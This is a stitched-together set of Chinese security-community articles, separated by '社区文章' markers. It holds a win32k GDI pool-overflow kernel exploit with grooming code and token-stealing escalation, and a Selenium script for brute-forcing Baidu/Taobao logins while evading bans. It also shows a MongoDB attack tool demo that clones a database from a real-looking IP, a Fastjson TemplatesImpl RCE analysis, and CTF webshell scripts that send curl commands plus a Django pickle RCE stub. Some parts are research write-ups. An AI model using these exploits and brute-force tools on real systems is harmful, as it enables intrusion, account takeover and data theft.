CreateEllipticRgn(0x79, 0x79, 1, 1);
for (int k = 0; k < 5000; k++)
{
bmp = CreateBitmap(0x52, 1, 1, 32, NULL);
bitmaps[k] = bmp;
}
for (int k = 0; k < 1700; k++)
AllocateClipBoard2(0x30); //提前填补内存中本身存在的0x60空洞，确保PALLOCMEM2分配的块落入我们设置的空洞中
for (int k = 2000; k < 4000; k++)
{
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}
其中CreateBitmap创建的Bitmap大小是未知，但却可以通过多次改变参数来测试出其中的关系，而创建的Bitmap对象的内核地址可以由GdiSharedHandleTable索引返回的句柄得到。
调用`CreateBitmap(1670, 2, 1, 8, NULL)`后，pool情况如下
kd> !pool fffff90170555010
Pool page fffff90170555010 region is Unknown
*fffff90170555000 size: f80 previous size: 0 (Allocated) *Gh05
Pooltag Gh05 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
fffff90170555f80 size: 80 previous size: f80 (Free) ....
接着调用`CreateAcceleratorTableA(lpAccel, 1)`分配两个0x40的对象用于占位，防止之后在尾部申请空间
kd> !pool fffff90170555010
Pool page fffff90170555010 region is Unknown
*fffff90170555000 size: f80 previous size: 0 (Allocated) *Gh05
Pooltag Gh05 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
fffff90170555f80 size: 40 previous size: f80 (Allocated) Usac Process: ffffe0013de89500
fffff90170555fc0 size: 40 previous size: 40 (Allocated) Usac Process: ffffe0013de89500
释放Bitmap对象，在靠后位置重新分配一个较小的Bitmap对象
kd> !pool fffff90170555010
Pool page fffff90170555010 region is Unknown
*fffff90170555000 size: bc0 previous size: 0 (Allocated) *Gh04
Pooltag Gh04 : GDITAG_HMGR_RGN_TYPE, Binary : win32k.sys
fffff90170555bc0 size: 3c0 previous size: bc0 (Allocated) Gh05 ;Bitmap
fffff90170555f80 size: 40 previous size: 3c0 (Allocated) Usac Process: ffffe0013de89500
fffff90170555fc0 size: 40 previous size: 40 (Allocated) Usac Process: ffffe0013de89500
随后`DestroyAcceleratorTable`释放尾部两个对象来在pool尾部制造空洞
kd> !pool fffff90170555010
Pool page fffff90170555010 region is Unknown
*fffff90170555000 size: bc0 previous size: 0 (Allocated) *Gh04
Pooltag Gh04 : GDITAG_HMGR_RGN_TYPE, Binary : win32k.sys
fffff90170555bc0 size: 3c0 previous size: bc0 (Allocated) Gh05
fffff90170555f80 size: 80 previous size: 3c0 (Free)
最终从ring3层触发bFill函数，它会调用PALLOCMEM2函数分配0x60的空间，这将会落入设置好的空洞中
win32k!bFill+0x387:
fffff960`00245bc7 e8d462e6ff call win32k!PALLOCMEM2 (fffff960`000abea0)
kd> p
win32k!bFill+0x38c:
fffff960`00245bcc 4c8bf0 mov r14,rax
kd> r
rax=fffff9017174bfb0 rbx=ffffd00187e07970 rcx=fffff80084cbac98
rdx=0000000000000066 rsi=ffffd00187e07970 rdi=ffffd00187e07834
rip=fffff96000245bcc rsp=ffffd00187e06ae0 rbp=ffffd00187e07250
r8=0000000000000060 r9=fffff90000002000 r10=0000000000000080
r11=ffffd00187e06a50 r12=ffffd00187e07360 r13=ffffd00187e07360
r14=ffffd00187e07970 r15=fffff960002169a4
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
win32k!bFill+0x38c:
fffff960`00245bcc 4c8bf0 mov r14,rax
kd> !pool fffff9017174bfb0
Pool page fffff9017174bfb0 region is Unknown
fffff9017174b000 size: bc0 previous size: 0 (Allocated) Gh04
fffff9017174bbc0 size: 3c0 previous size: bc0 (Allocated) Gh05
fffff9017174bf80 size: 20 previous size: 3c0 (Free) Free
*fffff9017174bfa0 size: 60 previous size: 20 (Allocated) *Gedg
Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill
这样就得到了所期望的`| region | Bitmap | PALLOCMEM |`内存布局
#### 溢出控制
完成布局后，下一步需要通过缓冲区溢出将Bitmap0的sizlBitmap字段增大，以此来扩大其读写范围，完成进一步的溢出。为此，我们需要审视bConstructGET，它调用的AddEdgeToGET完成了内存赋值操作，根据这个函数，其实可以分析出每个point所占大小为0x30，它的成员字段有指针，大小，xy，方向等。这一点看内存数据的情况也能看出，有些字段为0xffffffff，若将其作为值覆盖到Bitmap0的sizlBitmap处，就能使其读写范围最大化。于是我们需要计算从PALLOCMEM2申请的内存空间到Bitmap0.sizlBitmap的偏移，并掌握AddEdgeToGET的赋值规律。
PALLOCMEM2到Bitmap0.sizlBitmap的偏移可以直接计算出来，PALLOCMEM2申请的空间在pool的尾部，其数据部分距离下一页0x50，而Bitmap0的pool
header在pool中偏移为0x3c0，pool header大小为0x10，随后的BaseObject
header大小为0x18，sizlBitmap字段处于之后的SURFOBJ偏移0x38位置，因此这个偏移为`0x50+0xbc0+0x10+0x18+0x20=0xc58`，而该字段本身也占8字节，于是总的覆盖大小为0xc60。
接着来看AddEdgeToGET函数，其中的关键点是以下两个对比块
这里会和`RECTL.bottom`与`RECTL.top`进行对比，不满足条件这个函数会直接返回，也就是说必须满足这个条件，point才被添加成功。经调试，这里的bottom是0，top是0x1f0，再来看看上面的代码，分析进行对比的是什么
这里r8，r9是作为参数传递进来的，r8表示上一个点(prev_point)，r9表示当前点(curr_point)，+4位置就是`point.y <<
4`的值。稍微分析一下这几个块就能发现，实际上这里与bottom进行对比的是`max(prev_point,
curr_point)`，与top进行对比的是`min(prev_point,
curr_point)`，因此，只要我们的point.y小于0x1f，而其他point.y大于0x1f，就能在其作为prev_point和curr_point时各添加一次，即每次执行PolylineTo时，就会打两个点进去，占位0x60，而第一个点和最后一个点特殊，先占0x60，则中间0xc00大小需要添加0x20个point，于是有了以下代码
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++)
{
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
for (int j = 0; j < 0x156; j++)
{
if (j > 0x1F && points[2].y != 0x5a1f)
points[2].y = 0x5a1f;
PolylineTo(hMemDC, points, 0x3FE01)
}
其中`points[2].y = 20`便是使其小于0x1f能够添加点进去，当打完0x20次后，`points[2].y =
0x5a1f`使其大于0x1f，导致后面的循环不能继续添加点，直到遇到points[0x3FE00].y，这个点的数据最终覆盖到sizlBitmap上。这里的溢出控制很显然与之前布局时分配的各个对象大小关系密切，它们是相铺相成的，换句话说，因为是那种布局下，才会有这样的溢出。
#### 任意写
在上述溢出之后，Bitmap0.sizlBitmap变成了0xffffffff，这意味着它完全可以对Bitmap1进行读写。不过Bitmap0进行写的方式依旧只能通过覆盖，所以我们首先获取之后的数据，然后仅改动Bitmap1.pvScan0处，然后重新覆盖即可。由于在最初的覆盖中，破坏了许多结构的头部，为了维持正常运行，在可以进行任意地址写后，应该对这些头部进行修复，这些头部的偏移可以通过调试轻松得到。
由于我们的读写能力很强大，可以随时更改读写地址，所以不需要执行shellcode，也不用绕过SMEP，直接偷取system的token并写入当前进程即可完成提权。
### 总结
这个例子展示了从整数溢出到任意地址写的完整过程以及Bitmap对象在利用过程中的强大之处，而内存布局也在其中起了十分关键的一环，如何通过申请和释放各种对象使内存发展为我们希望的局面也是十分有意思的。
### 参考
* <https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html>
* <https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/>
* <https://github.com/redogwu/study-pdf/blob/master/5A1F_Defcon_25_Demystifying_Kernel_Exploitation_By_Abusing_GDI_Objects_white_paper.pdf>
* <https://xz.aliyun.com/t/3146> | 社区文章 |
# 0x01、起因
前段时间身为菜鸡的我也终于接到了一个内网任务，由于没有经验渗透过程中花了很多不必要的时间，导致后期在向目标域移动的时候授权time up了。
之中就有一个前端密码加密的OA，js基础只限于alert(1)的我第一次走运地找到了加密函数，兴致勃勃地照着c0ny1师傅的插件<https://github.com/c0ny1/jsEncrypter>走了流程，从找参与加密的js文件到最终运行一路踩坑，还是因为一段奇怪的字符出了bug，我又不会调。
最后还是用selenium执行js解决的，整个过程两小时。
# 0x02、痛定思痛
这一次尚且幸运找到了加密函数，下次找不到了怎么办？用selenium一路点过来，单线程速度慢，多线程内存CPU开销大，再有个http资源加载缓慢，渲染缓慢，标签定位改变，因为爆破流量明显被ban
IP，想想就找其他地点去了。
痛定思痛，想到了刚学web的时候，burpsuite开了拦截还怪网页为什么不动，然后发现http
history里一列request都卡在那里，一个idea就冒了出来：用selenium设置请求超时，自动换密码点登陆把request发到burp拦截，加密好的密码列表不就有了吗？
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException
chrome_driver = "E:\Python36\chromedriver.exe"
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080')
driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions)
driver.set_page_load_timeout(0.1)#设置请求超时，直接timeout，不等待，不重载
driver.set_script_timeout(0.1)
while(1):
name = input("Are you really?[Y|N]")
if (name == 'Y') or (name == 'y'):
break
with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f:
lines = f.readlines()
#百度
##usr_css_selector = '#TANGRAM__PSP_10__userName'
##pwd_css_selector = '#TANGRAM__PSP_10__password'
##submit_css_selector = '#TANGRAM__PSP_10__submit'
#淘宝
usr_css_selector = '#fm-login-id'
pwd_css_selector = '#fm-login-password'
submit_css_selector = '#login-form > div.fm-btn > button'
print('start')
for i in lines[::-1]:#对顺序
try:
driver.execute_script('''
var usr = document.querySelector(\''''+usr_css_selector+'''\');
var pwd = document.querySelector(\''''+pwd_css_selector+'''\');
var submit = document.querySelector(\''''+submit_css_selector+'''\');
usr.value = '18888888888';
pwd.value = \'''' + i.strip() +'''\';
submit.removeAttribute('disabled')
submit.click();
''')#removeAttribute去掉disabled、readonly、onfocus=this.blur()等属性，让标签可选中
except TimeoutException:
pass
print('end')
试试百度
保存request，处理一下，就是加密好的密码列表
import re
file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb'
with open(file_path,'r',encoding='utf8')as f:
lines = f.readlines()
with open(file_path+'_crypto','w',encoding='utf8')as f:
for i in lines:
if 'username=18888888888&password=' in i:
crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0]
f.write(crypto_pwd + '\n')
再试试淘宝，淘宝的login请求包在burp里不drop的话，登陆按钮会等待一段时间才能按，看标签并未发现disable等属性。一直点drop也不是办法，这时又想到了给burp加socks代理时默认是错误主机127.0.0.，相当于直接drop
request了，不会像设置错误端口时一样等待一段时间才会timeout。
勾选之后就不用拦截request了。
当然淘宝的动态key和滑块我尚未涉略。
最后附一张获取代码中css_selector参数的图。
流程：打开burp -> 设置socks代理127.0.0. -> 运行_selenium.py -> 确认请求包能到达burp -> 输入Y ->
保存并处理request
按这个流程操作，输入Y到映射出密码列表只需要几秒，还不用找加密函数。接个代理池，流量就不会那么明显了。 | 社区文章 |
项目地址：https://github.com/youngyangyang04/NoSQLAttack
项目作者：youngyangyang04
## 介绍
NoSQLAttack
是一个用python编写的开源的攻击工具，用来暴露网络中默认配置mongoDB的IP并且下载目标mongoDB的数据，同时还可以针对以mongoDB为后台存储的应用进行注入攻击，使用这个工具就可以发现有成千上万的mongoDB裸奔在互联网上，并且数据可以随意下载。
这个攻击工具是基于tcstool的[NoSQLMap](http://www.nosqlmap.net/index.html)和搜索引擎[shodan](https://www.shodan.io/)
一些攻击的数据是来自于以下论文给予的启发
* [Diglossia: Detecting Code Injection Attacks with Precision and Efficiency](http://www.cs.cornell.edu/~shmat/shmat_ccs13.pdf)
* [No SQL, No Injection?](https://www.research.ibm.com/haifa/Workshops/security2015/present/Aviv_NoSQL-NoInjection.pdf)
* [Several thousand MongoDBs without access control on the Internet](https://cispa.saarland/wp-content/uploads/2015/02/MongoDB_documentation.pdf).
NoSQL注入攻击测试系统[NoSQLInjectionAttackDemo](https://github.com/youngyangyang04/NoSQLInjectionAttackDemo)，这里面有两个系统用来测试注入攻击。
## 背景介绍
在NoSQL注入攻击中有PHP数组注入，js注入和mongo
shell拼接注入等多种方法可以攻击mongoDB，并且现在有成千上万的mongoDB暴露在互联网上，只要知道目标mongoDB的ip和端口号就可以把裸露的mongoDB中的数据都下载下来。
## 运行环境
项目运行在linux系统上，NoSQLAttack的依赖包已经写在setup.py文件里，并且已经在Ubuntu 和MAC OS
X上都测试了，只需要执行这个脚本就可以自动配置好安装环境 开发这个项目使用时使用的是Pycharm COMMUNITY
2016.1，python的版本为2.7.10，使用者需要在本地电脑安装[mongoDB](http://jingyan.baidu.com/article/fd8044faf4f3a95030137a79.html)。
## 安装
在linux系统下可以直接将下载的项目解压，然后执行以下两个命令
cd NoSQLAttack
python setup.py install
## 使用方法
安装完毕后，执行一下命令就可以启动该项目
NoSQLAttack
启动该项目后将会展现如下的界面，然后就可以开启黑客之旅了
================================================
NoSQL Attack
================================================
NoSQLAttack-v0.2
[email protected]
1-Scan attacked IP
2-Configurate parameters
3-MongoDB Access Attacks
4-Injection Attacks
x-Exit
# 系统演示
===============================================
NoSQL Attack
================================================
NoSQLAttack-v0.2
[email protected]
1-Scan attacked IP
2-Configurate parameters
3-MongoDB Access Attacks
4-Injection Attacks
x-Exit
Select an option:1
Start Scanning.....
Results found:28793
1_Attacked IP : 149.202.88.135
2_Attacked IP : 49.212.186.80
3_Attacked IP : 85.9.62.231
4_Attacked IP : 121.78.239.11
5_Attacked IP : 54.226.207.112
6_Attacked IP : 119.254.66.44
7_Attacked IP : 121.46.0.83
8_Attacked IP : 162.243.21.180
9_Attacked IP : 210.23.29.75
Select IP to attack:2
Start Default Configuration Attack(y/n)?y
DB access attacks(mongoDB)
=========================
Checking to see if crendentials are need
49.212.186.80
27017
Successful access with no credentials!
1-Get Server Version and Platform
2-Enumerate Databases/Collections/Users
3-Clone a Database
4-Return to Main Menu
Select an attack: 2
List of databases:
MultiCopyService_UserData
SmartNFC_UserData
SmartShop_UserData
KioskPointMng2_UserData
admin
db
local
1-Get Server Version and Platform
2-Enumerate Databases/Collections/Users
3-Clone a Database
4-Return to Main Menu
Select an attack: 3
(1)MultiCopyService_UserData
(2)SmartNFC_UserData
(3)SmartShop_UserData
(4)KioskPointMng2_UserData
(5)admin
(6)db
(7)dbItem
(8)local
Select a database to steal:6
Does this Database require credentials.(y/n)?n
Database cloned. Copy another (y/n)?
* * * | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/vsFRpyPTmj-h3kk6KhEfeg> **
### 前言
FastJson是alibaba的一款开源JSON解析库，可用于将Java对象转换为其JSON表示形式，也可以用于将JSON字符串转换为等效的Java对象。近几年来fastjson漏洞层出不穷，本文将会谈谈近几年来fastjson
RCE漏洞的源头：17年fastjson爆出的1.2.24反序列化漏洞。以这个漏洞为基础，详细分析fastjson漏洞的一些细节问题。
关于Fastjson
1.2.24反序列化漏洞，自从17年以来已经有很多人分析过了，一些基础内容本文就不再陈述了。此次漏洞简单来说，就是Fastjson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的
本文将着重分析一下这个漏洞没有被详细介绍过的细节问题，如下：
1、parseObject(String text) 、parse (String text)、 parseObject(String text,
Class\<T> clazz)三个方法从代码层面上来看，究竟有何不同？
2、使用TemplatesImpl攻击调用链路构造poc时，为什么一定需要构造`_tfactory`以及`_name`字段？
3、`_outputProperties`与其getter方法getOutputProperties()方法名字并不完全一致是如何解决的？
除此之外，本文在介绍TemplatesImpl攻击调用链路时，以模拟寻找漏洞利用链的思路，从最终的执行点开始向上寻找入口，模拟还原出挖掘这个TemplatesImpl利用链的完整过程。
### 漏洞分析
关于parse (String text) 、parseObject(String text)、 parseObject(String text,
Class\<T> clazz)三个方法，我们进行一个测试
FastJsonTest类中变量以及其setter/getter关系如下表
| public String t1 | private int t2 | private Boolean t3 | private Properties
t4 | private Properties t5
---|---|---|---|---|---
setter | 有 | 有 | 无 | 无 | 有
getter | 有 | 有 | 有 | 有 | 有
接下来，我们分别使用下图三种方式分别将JSON字符串反序列化成Java对象
1、Object obj = JSON.parse(jsonstr);
2、Object obj = JSON.parseObject(jsonstr, FastJsonTest.class);
3、Object obj = JSON.parseObject(jsonstr);
首先我们运行一下Object obj = JSON.parse(jsonstr);这种方式
结果：
setT1() 、setT2() 、getT4() 、setT5() 被调用
JSON.parse(jsonstr)最终返回FastJsonTest类的对象
接着我们运行下Object obj = JSON.parseObject(jsonstr, FastJsonTest.class);
结果：
与JSON.parse(jsonstr);这种方式一样setT1() 、setT2() 、getT4() 、setT5() 被调用
JSON.parse(jsonstr)最终返回FastJsonTest类的对象
最后我们运行下Object obj = JSON.parseObject(jsonstr);
结果：
这次结果与上两次大不相同，FastJsonTest类中的所有getter与setter都被调用了，并且`JSON.parseObject(jsonstr);`返回一个JSONObject对象
通过上文运行结果，不难发现有三个问题
1. 使用JSON.parse(jsonstr);与JSON.parseObject(jsonstr, FastJsonTest.class);两种方式执行后的返回结果完全相同，且FastJsonTest类中getter与setter方法调用情况也完全一致，parse(jsonstr)与parseObject(jsonstr, FastJsonTest.class)有何关联呢？
2. 使用JSON.parse(jsonstr);与JSON.parseObject(jsonstr, FastJsonTest.class);两种方式时，被调用的getter与setter方法分别为setT1()、setT2()、setT5()、getT4()。FastJsonTest类中一共有五个getter方法，分别为getT1()、getT2()、getT3()、getT4()、getT5()，为什么仅仅getT4被调用了呢?
3. JSON.parseObject(jsonstr);为什么返回值为JSONObject类对象，且将FastJsonTest类中的所有getter与setter都被调用了
#### 问题一解答
经过调试可以发现，无论使用JSON.parse(jsonstr);或是JSON.parseObject(jsonstr,FastJsonTest.class);方式解析json字符串，程序最终都会调用位于com/alibaba/fastjson/util/JavaBeanInfo.java中的JavaBeanInfo.build()方法来获取并保存目标Java类中的成员变量以及其对应的setter、getter
首先来看下`JSON.parse(jsonstr)`这种方式，当程序执行到JavaBeanInfo.build()方法时情景如下图
此时的调用链如下图
此时传入`JavaBeanInfo.build()` 方法的参数值如下图
再来看下`JSON.parseObject(jsonstr,FastJsonTest.class)`这种方式，当程序执行到`JavaBeanInfo.build()`
方法时情景如下图
此时的调用链如下图
此时传入`JavaBeanInfo.build()` 方法的参数值如下图
二者执行到`JavaBeanInfo.build()` 方法时调用链对比如下
可见二者后面的调用链是完全一样的。二者不同点在于调用`JavaBeanInfo.build()` 方法时传入clazz参数的来源不同：
`JSON.parseObject(jsonstr, FastJsonTest.class)`在调用`JavaBeanInfo.build()`
方法时传入的clazz参数源于parseObject方法中第二个参数中指定的“FastJsonTest.class”。
`JSON.parse(jsonstr);`这种方式调用`JavaBeanInfo.build()`方法时传入的clazz参数获取于json字符串中\@type字段的值。
关于`JSON.parse(jsonstr);`从json字符串中\@type字段获取clazz参数，具体代码如下
程序通过解析传入的json字符串的\@type字段值来获取之后传入JavaBeanInfo.build()方法的clazz参数
因此，只要Json字符串的\@type字段值与JSON.parseObject(jsonstr,FastJsonTest.class);中第二个参数中类名一致，见下图
`JSON.parse(jsonstr)`与`JSON.parseObject(jsonstr,FastJsonTest.class)`这两种方式执行的过程与结果是完全一致的。二者唯一的区别就是获取clazz参数的途径不同
#### 问题二解答
> 使用JSON.parse(jsonstr)与JSON.parseObject(jsonstr,
> FastJsonTest.class)两种方式时，被调用的getter与setter方法分别为setT1() 、setT2()、setT5()
> 、getT4()。FastJsonTest类中一共有五个getter方法，分别为getT1()、getT2()、getT3()、getT4()、getT5()，为什么仅仅getT4被调用了呢?
这个问题要从`JavaBeanInfo.build()` 方法中获取答案：
通过上文的分析可以发现，程序会使用`JavaBeanInfo.build()`方法对传入的json字符串进行解析。在`JavaBeanInfo.build()`方法中，程序将会创建一个fieldList数组来存放后续将要处理的目标类的
setter 方法及某些特定条件的
getter方法。通过上文的结果可见，目标类中所有的setter方法都可以被调用，但只有getT4()这一个getter被调用，那么到底什么样的getter方法可以满足要求并被加入fieldList数组中呢？
在`JavaBeanInfo.build()` 方法可见如下代码
程序从clazz（目标类对象）中通过getMethods获取本类以及父类或者父接口中所有的公共方法，接着进行循环判断这些方法是否可以加入fieldList中以便后续处理
条件一、方法名需要长于4
条件二、不是静态方法
条件三、以get字符串开头，且第四个字符需要是大写字母
条件四、方法不能有参数传入
条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
条件六、此getter不能有setter方法（程序会先将目标类中所有的setter加入fieldList列表，因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter）
#### 问题三解答
JSON.parseObject(jsonstr)为什么返回值为JSONObject类对象，且将FastJsonTest类中的所有getter与setter都被调用了
通过上文的分析可以发现，JSON.parse(jsonstr)与JSON.parseObject(jsonstr,FastJsonTest.class)两种方式从执行流程几乎一样，结果也完全相同；然而使用JSON.parseObject(jsonstr)这种方式，执行的结果与返回值却与前两者不同：JSON.parseObject(jsonstr)返回值为JSONObject类对象，且将FastJsonTest类中的所有getter与setter都被调用。
通过阅读源码可以发现`JSON.parseObject(String text)`实现如下
parseObject(String text)其实就是执行了parse(),随后将返回的Java对象通过JSON.toJSON（）转为
JSONObject对象。
JSON.toJSON（）方法会将目标类中所有getter方法记录下来，见下图
随后通过反射依次调用目标类中所有的getter方法
完整的调用链如下
总结：
上文例子中，`JSON.parse(jsonstr)`与`JSON.parseObject(jsonstr,
FastJsonTest.class)`可以认为是完全一样的，而parseObject(String
text)是在二者的基础上又执行了一次JSON.toJSON（）
parse(String text)、parseObject(String text)与parseObject(String text, Class\<T>
clazz)目标类Setter\Getter调用情况
| parse(String text) | parseObject(String text) | parseObject(String text,
Class\<T> clazz)
---|---|---|---
Setter调用情况 | 全部 | 全部 | 全部
Getter调用情况 | 部分 | 部分 | 全部
此外，如果目标类中私有变量没有setter方法，但是在反序列化时仍想给这个变量赋值，则需要使用`Feature.SupportNonPublicField`参数。（在下文中，为TemplatesImpl类中无setter方法的私有变量`_tfactory`以及`_name`赋值运用到的就是这个知识点）
### TemplatesImpl攻击调用链路
针对于上文的分析可以发现，无论使用哪种方式处理JSON字符串，都会有机会调用目标类中符合要求的Getter方法
如果一个类中的Getter方法满足调用条件并且存在可利用点，那么这个攻击链就产生了。
TemplatesImpl类恰好满足这个要求：
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`中存在一个名为`_outputPropertiesget`的私有变量，其getter方法中存在利用点，这个getter方法恰好满足了调用条件，在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用，下面我们详细说明一下：
首先我们从漏洞点开始，一层层往入口分析：首先看一下TemplatesImpl类中的getTransletInstance方法
其中455行调用`_class[_transletIndex]`的newInstance( )方法来实例化对象的操作
我们看一下`_class[_transletIndex]`是如何获取的，是否可以控制
`_class`与`_transletIndex`值皆由451行处defineTransletClasses()方法中获取
我们跟入defineTransletClasses()方法中一探究竟
在defineTransletClasses()方法中，首先在393行判断`_bytecodes`值是否为空
值得注意的是，`_bytecodes`变量是TemplatesImpl类的成员变量
因此`_bytecodes`变量可以在构造json字符串时传入，在构造poc时属于可控变量
`_bytecodes`变量非空值时，程序将会继续执行至下图红框处
此时，需要满足`_tfactory`变量不为null，否则导致程序异常退出。这就是为什么公开的poc中需要设置设置`_tfactory`为{}的原因。因为`_tfactory`为私有变量，且无setter方法，这里需要指定`Feature.SupportNonPublicField`参数来为_tfactory赋值
接下来，程序将会把`_bytecodes`变量中的值循环取出并通过loader.defineClass处理后赋值给`_class[i]`
我们首先来看下loader.defineClass方法是什么
可见，loader.defineClass方法其实就是对ClassLoader.
defineClass的重写。defineClass方法可以从传入的字节码转化为Class
回头分析下上述流程
`_bytecodes`变量非空值时，程序将会把`_bytecodes`数组中的值循环取出，使用loader.defineClass方法从字节码转化为Class对象，随后后赋值给_class[i]。
如果此时的class为main class，`_transletIndex`变量值则会是此时`_bytecodes`数组中的下标值
因此当我们构造出`_bytecodes:[evilCode]`这样的json字符串（evilCode字符串为我们构造的恶意类的字节码）后，程序会将evilCode化为Class对象后赋值给_class[0]
现在回到getTransletInstance()方法中
此时的`_class[_transletIndex]`即为我们构造传入的evilCode类
程序通过调用evilCode类的newInstance()方法来实例化对象的操作，这将导致我们构造的evilCode类中的恶意代码被执行
但在此之前，需要在poc构造json字符串时使得成员变量`_name`不为空，否则程序还未执行到将evilCode类实例化就提前return
注意：由于私有变量`_name`没有setter方法，在反序列化时想给这个变量赋值则需要使用Feature.SupportNonPublicField参数。
在分析完存在漏洞的getTransletInstance方法，我们需要找到一条调用链，这条调用链需要在使用fastjson处理json字符串时成功串连到存在漏洞的getTransletInstance方法上。
我们继续向上跟踪代码
`com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.javanewTransformer()`方法中调用了getTransletInstance()
继续向上跟踪
`com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.javagetOutputProperties()`方法中调用了newTransformer()
getOutputProperties()方法为`_outputProperties`成员变量的getter方法
细心的读者可能会发现，成员变量`_outputProperties`与其getter方法getOutputProperties()方法名字并不完全一致，多了一个下划线，fastjson是如何将其对应的呢？
实际上，fastjson在解析的时候调用了一个smartMatch() 方法
在寻找`_outputProperties`的getter方法时，程序将下划线置空，从而产生了成员变量`_outputProperties`与getter方法getOutputProperties()对应的形式
### FastJson与TemplatesImpl的有趣结合
首先说TemplatesImpl类。经过上文分析可发现：TemplatesImpl中存在一个反序列化利用链，在反序列化过程中，如果该类的getOutputProperties()方法被调用，即可成功触发代码执行漏洞。
再来分析下FastJson：经过上文对FastJson三种不同途径处理JSON字符串时关于getter方法被调用的条件来看，TemplatesImpl类`_outputProperties`成员变量的getter方法满足被调用条件。无论通过fastjson哪种方式解析json字符串，都会触发getOutputProperties()方法。
二者放在一起一拍即合：FastJson在反序列化TemplatesImpl类时会恰好触发TemplatesImpl类的getOutputProperties()方法；TemplatesImpl类的getOutputProperties()方法被触发就会引起反序列化代码执行漏洞。所以说这个漏洞利用很是巧妙。
### 总结
针对Fastjson
1.2.24反序列化漏洞的利用方式有很多，本文由于篇幅有限仅对比较巧妙的TemplatesImpl攻击调用链路进行举例。后续将会对Fastjson历史漏洞进行详细的分析，希望大家喜欢。
* * * | 社区文章 |
**0x00 前言**
AWD是第二天的比赛，三轮共三套题，总体下来感觉肾不够用了，午饭吃了一半就继续肝。第二天的比赛最后拿到第四名。
**0x01 第一轮：jeecms**
源码：链接：<https://pan.baidu.com/s/1IniLYhTSn7116Dp9hVSJoA> 提取码：qfhx
jsp，上来就是个shell执行
但是先不急，D盾扫一扫
一共四个马，前两个马一样的，于是使用世界上最好的语言php拿flags 【顺便删除自己服务器上的马】
<?php
//代码有点乱，在比赛过程中修改了很多次，大家将就着看吧 ^_^
$temp = [];
$li = ['192.200.1.12:8080']; //靶机列表
foreach ($li as $key => $value) {
$a = @file_get_contents('http://'.$value.'/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl%20http://192.200.0.70/remoteflag/');
preg_match('/<pre>([\S]*?)<\/pre>/', $a, $match);
print(@$match[1]);
if (isset($match[1])) {
$temp[] = $match[1];
}
$a = @file_get_contents('http://'.$value.'/jeecmsv9f/index.jsp?cmd=curl%20http://192.200.0.70/remoteflag/');
preg_match('/<pre>([\S\s]*?)<\/pre>/', $a, $match);
print(@$match[1]);
print("\n");
print($value);
print(' --- ');
if (isset($match[1])) {
$temp[] = $match[1];
}
}
$b = array_unique($temp);
$flags = '';
foreach ($b as $key => $value) {
$flags .= $key.'['.$value."]\n";
}
file_put_contents('jeecms.txt', $flags);
第三四个马由于使用过于复杂，我们就没研究了(这时我们已经在第一二名徘徊了，由于交flag要验证码，验证码全是两位数的加减题，所以我们都在专心地练习口算，没时间去折腾大马)
**0x02 第二轮：html**
源码已上传，见底部
这是由世界上最好的语言写的，话不多说，D盾上场
由经验可得，最后两个是wxpay SDK无毒的，(我自己在运营公众号，也自己写过商城，没记错上次出问题的是java版的wxpay
sdk，索性直接忽略掉)，最后得到结论：ali.php、 yijuhua.php 、db.php这三个是后门
好直接，于是直接上世界上最好的语言拿flag
<?php
$flags = '';
$li = ['192.200.0.101:80']; // 靶机列表
foreach ($li as $key => $value) {
$ch = curl_init('http://'.$value.'/plugins/youdaotrans/db.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 3);
// curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'An=curl+http%3a%2f%2f192.200.0.70%2fremoteflag%2f');
$res = curl_exec($ch);
curl_close($ch);
print($res);
print("\n");
$flags .= "\n".$res;
}
file_put_contents('html.txt', $flags);
等等，怎么一直没出flag！折腾了好久都失败了 [在比赛结束后才发现我这个代码有个巨大的失误]
于是让队友用蚁盾一个一个地连上去拿flag，一个一个地去操作，真累；但是这时我们已经全场第一了，真香。
**0x03 第三轮：blog**
源码：链接：<https://pan.baidu.com/s/1KB7l_kpkqWMi0dZXdeKH_w> 提取码：bon1
噩梦一般的django，D盾也没办法
最后手动找到这个位置，的确有个漏洞，但是好像拿不到flag(求指导)（Python字符格式化漏洞及Django相关漏洞总结
<https://blog.csdn.net/cemao4548/article/details/81008661> ）
找到了另外一篇
《从django的SECRET_KEY到代码执行》<https://blog.csdn.net/weixin_34006468/article/details/87980846>
SECRET_KEY利用刚刚的格式化漏洞查看发现大家的都是一样的，于是直接开干
# !/usr/bin/env python
# -*- coding:utf-8 -*- __author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
